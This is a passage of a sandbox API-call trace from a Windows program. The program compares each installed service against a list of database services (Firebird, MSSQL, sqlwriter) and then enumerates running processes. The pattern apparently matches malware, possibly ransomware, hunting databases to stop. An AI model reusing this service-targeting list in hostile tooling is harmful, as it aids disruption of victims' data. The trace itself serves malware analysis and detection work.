(lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0107.372] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0107.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0107.372] lstrlenW (lpString="NcbService") returned 10 [0107.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0107.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0107.372] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0107.372] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0107.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0107.373] lstrlenW (lpString="netprofm") returned 8 [0107.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0107.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0107.373] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0107.373] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0107.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0107.373] lstrlenW (lpString="NlaSvc") returned 6 [0107.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0107.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0107.373] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0107.373] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0107.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0107.373] lstrlenW (lpString="nsi") returned 3 [0107.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0107.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0107.373] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0107.373] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0107.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0107.373] lstrlenW (lpString="PcaSvc") returned 6 [0107.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0107.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0107.373] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0107.373] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0107.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0107.373] lstrlenW (lpString="PlugPlay") returned 8 [0107.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0107.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0107.374] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0107.374] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0107.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0107.374] lstrlenW (lpString="Power") returned 5 [0107.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0107.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0107.374] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0107.374] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0107.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0107.374] lstrlenW (lpString="ProfSvc") returned 7 [0107.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0107.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0107.374] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0107.374] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0107.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0107.374] lstrlenW (lpString="RpcEptMapper") returned 12 [0107.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0107.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0107.374] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0107.374] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0107.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0107.374] lstrlenW (lpString="RpcSs") returned 5 [0107.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0107.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0107.374] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0107.374] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0107.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0107.375] lstrlenW (lpString="SamSs") returned 5 [0107.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0107.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0107.375] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0107.375] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0107.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0107.375] lstrlenW (lpString="Schedule") returned 8 [0107.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0107.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0107.380] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0107.380] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0107.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0107.380] lstrlenW (lpString="SecurityHealthService") returned 21 [0107.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0107.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0107.380] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0107.380] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0107.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0107.380] lstrlenW (lpString="SENS") returned 4 [0107.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0107.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0107.380] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0107.380] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0107.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0107.380] lstrlenW (lpString="ShellHWDetection") returned 16 [0107.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0107.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0107.380] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0107.380] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0107.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0107.380] lstrlenW (lpString="Spooler") returned 7 [0107.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0107.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0107.381] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0107.381] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0107.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0107.381] lstrlenW (lpString="sppsvc") returned 6 [0107.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0107.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0107.381] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0107.381] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0107.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0107.381] lstrlenW (lpString="SSDPSRV") returned 7 [0107.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0107.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0107.381] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0107.381] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0107.381] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x61c998 | out: hHeap=0x5c0000) returned 1 [0107.381] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x33c [0107.386] Process32FirstW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0107.387] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0107.388] lstrlenW (lpString="System") returned 6 [0107.388] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0107.389] lstrlenW (lpString="smss.exe") returned 8 [0107.389] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0107.390] lstrlenW (lpString="csrss.exe") returned 9 [0107.390] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0107.391] lstrlenW (lpString="wininit.exe") returned 11 [0107.391] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0107.392] lstrlenW (lpString="csrss.exe") returned 9 [0107.392] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0107.393] lstrlenW (lpString="winlogon.exe") returned 12 [0107.393] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0107.394] lstrlenW (lpString="services.exe") returned 12 [0107.394] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0107.395] lstrlenW (lpString="lsass.exe") returned 9 [0107.395] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.396] lstrlenW (lpString="svchost.exe") returned 11 [0107.396] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0107.397] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0107.397] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0107.398] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0107.398] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.398] lstrlenW (lpString="svchost.exe") returned 11 [0107.399] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0107.399] lstrlenW (lpString="dwm.exe") returned 7 [0107.399] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.400] lstrlenW (lpString="svchost.exe") returned 11 [0107.400] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.401] lstrlenW (lpString="svchost.exe") returned 11 [0107.401] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.402] lstrlenW (lpString="svchost.exe") returned 11 [0107.402] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.403] lstrlenW (lpString="svchost.exe") returned 11 [0107.403] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.404] lstrlenW (lpString="svchost.exe") returned 11 [0107.404] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.405] lstrlenW (lpString="svchost.exe") returned 11 [0107.405] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.406] lstrlenW (lpString="svchost.exe") returned 11 [0107.406] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.420] lstrlenW (lpString="svchost.exe") returned 11 [0107.420] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.421] lstrlenW (lpString="svchost.exe") returned 11 [0107.421] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0107.423] lstrlenW (lpString="spoolsv.exe") returned 11 [0107.423] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.423] lstrlenW (lpString="svchost.exe") returned 11 [0107.423] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.424] lstrlenW (lpString="svchost.exe") returned 11 [0107.424] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0107.425] lstrlenW (lpString="audiodg.exe") returned 11 [0107.425] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0107.426] lstrlenW (lpString="sihost.exe") returned 10 [0107.426] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.427] lstrlenW (lpString="svchost.exe") returned 11 [0107.427] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0107.428] lstrlenW (lpString="taskhostw.exe") returned 13 [0107.428] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0107.429] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0107.429] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0107.430] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0107.430] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0107.430] lstrlenW (lpString="explorer.exe") returned 12 [0107.431] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0107.431] lstrlenW (lpString="Memory Compression") returned 18 [0107.431] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0107.432] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0107.432] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0107.433] lstrlenW (lpString="SearchUI.exe") returned 12 [0107.433] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0107.434] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0107.434] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0107.435] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0107.435] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0107.436] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0107.436] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0107.437] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0107.437] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfdc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0107.444] lstrlenW (lpString="conhost.exe") returned 11 [0107.444] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver-fireplace-subdivision.exe")) returned 1 [0107.445] lstrlenW (lpString="screensaver-fireplace-subdivision.exe") returned 37 [0107.445] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upper arc.exe")) returned 1 [0107.446] lstrlenW (lpString="upper arc.exe") returned 13 [0107.446] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying-defeat-preston.exe")) returned 1 [0107.447] lstrlenW (lpString="buying-defeat-preston.exe") returned 25 [0107.447] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="isolated-concerned.exe")) returned 1 [0107.448] lstrlenW (lpString="isolated-concerned.exe") returned 22 [0107.448] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="memberromanialiberia.exe")) returned 1 [0107.449] lstrlenW (lpString="memberromanialiberia.exe") returned 24 [0107.449] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blademcdonald.exe")) returned 1 [0107.450] lstrlenW (lpString="blademcdonald.exe") returned 17 [0107.450] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, 